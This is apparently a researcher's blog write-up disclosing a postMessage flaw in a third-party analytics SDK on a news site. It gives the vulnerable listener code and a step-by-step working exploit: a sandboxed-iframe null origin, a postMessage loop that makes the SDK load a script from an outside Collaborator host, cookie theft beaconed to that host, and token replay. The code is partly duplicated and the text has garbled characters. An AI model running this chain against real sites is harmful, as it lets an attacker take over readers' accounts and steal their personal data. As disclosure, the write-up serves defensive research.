November 19, 2026
PostMessage Leads to One-Click Account Takeover

By Mahmoud Farag
3 min read
ุงูุญู ุฏ ูููุ ูุงูุตูุงุฉ ูุงูุณูุงู ุนูู ุฑุณูู ุงููู
Hello, I'm Mahmoud Farag (RM4).
I'd like to share a security finding I discovered during my research, with the help of Claude Code.
A postMessage bug in a third-party SDK that any website on the internet could trigger, ultimately leading to full account takeover of logged-in readers.
How I Found It
The target was a media group running two national news brands. The server side was solid โ no SQLi, no SSRF, API boundaries held. So I went client-side and did one boring thing: list every message listener on every in-scope page, and for each one write down what it checks and what it reaches.
First stop was their Google Tag Manager container, because that's a literal inventory of every third party the company invited into its own origin:
a = "https://sdk.mrf.io/statics";
e("".concat(a, "/marfeel-sdk.js?id=").concat(c), !0); // injected site-widea = "https://sdk.mrf.io/statics";
e("".concat(a, "/marfeel-sdk.js?id=").concat(c), !0); // injected site-wideMarfeel โ an analytics SDK, 258 KB minified, on 33 of 33 page loads, logged in and logged out. I pulled it, beautified it, grepped for addEventListener message:
window.addEventListener("message", (t => {
if ((!(s = t.origin) || "null" === s || s === window.location.origin || h.includes(s))
&& (o = t.data) && "__MRF_SDK__" === o.app) {
var { sdkName: r, methodName: n, args: i } = t.data;
e.cmd.push([r, e => { e[n].apply(e, i) }]);
}
}))window.addEventListener("message", (t => {
if ((!(s = t.origin) || "null" === s || s === window.location.origin || h.includes(s))
&& (o = t.data) && "__MRF_SDK__" === o.app) {
var { sdkName: r, methodName: n, args: i } = t.data;
e.cmd.push([r, e => { e[n].apply(e, i) }]);
}
}))Two things jumped out:
- null === s โ an opaque origin is explicitly trusted.
And 2,229 bytes earlier in the same file, the allow-list that was supposed to be the real gate:
var h = []; // emptyvar h = []; // emptyThen I followed where the message actually goes. cmd.push isn't a queue โ the SDK overwrites it with a dispatcher that resolves sdkName against twelve registered SDK objects, then runs obj[methodName].apply(obj, args) verbatim. So I went looking for the best of the twelve, and found this one:
class ea { // registered as "scriptLoader"
load(e) {
var a = document.createElement("script");
a.src = e; // โ my argument, unvalidated
document.head.appendChild(a);
}
}class ea { // registered as "scriptLoader"
load(e) {
var a = document.createElement("script");
a.src = e; // โ my argument, unvalidated
document.head.appendChild(a);
}
}Arbitrary origin โ arbitrary method โ script.sr. That's the bug.
How I Exploited It
1. Get an attacker-controlled null origin.** A sandboxed iframe has an opaque origin, which serialises to the string **null ,**So any page on the internet can produce one:
<iframe sandbox="allow-scripts allow-popups allow-popups-to-escape-sandbox" src="attack.html"><iframe sandbox="allow-scripts allow-popups allow-popups-to-escape-sandbox" src="attack.html">allow-popups-to-escape-sandbox is the key token: it keeps the victim's tab a normal, cookie-carrying document of the target origin. Only my frame stays opaque.
2. Open the victim page and keep the handle. Needs one click to consume a user gesture:
const w = window.open("https://www.example.com/article/<rubrique>/<id>/<slug>");const w = window.open("https://www.example.com/article/<rubrique>/<id>/<slug>");3. Fire the message until the SDK registers its listener
(you're racing page load):
setInterval(() => w.postMessage({
app: "__MRF_SDK__",
sdkName: "scriptLoader",
methodName: "load",
args: ["https://qk3p9v7x2m.oastify.com/x.js"]
}, "*"), 50);setInterval(() => w.postMessage({
app: "__MRF_SDK__",
sdkName: "scriptLoader",
methodName: "load",
args: ["https://qk3p9v7x2m.oastify.com/x.js"]
}, "*"), 50);
4. x.js now executes in the target's origin. The Collaborator pingback is the first proof it landed โ an HTTP hit for /x.js with Referer: https://www.example.com/ and Sec-Fetch-Dest: script, i.e. the target itself fetching my script. The payload then reads document.cookie โ the session token is not HttpOnly โ and beacons it back out to the same Collaborator host. There is no CSP on any in-scope host, so nothing blocks the fetch or the execution.
5. Replay the stolen token from any device, with a control so triage can't argue:
GET /api/user/profile HTTP/2
Authorization: Bearer <stolen token> โ 200, the victim's full account record
GET /api/user/profile HTTP/2
Authorization: Bearer <stolen token> โ 200, the victim's full account record
Full account identity, e-mail, birthdate, postal address, subscription, invoices, plus writes.
Thank you for taking the time to read my write-up.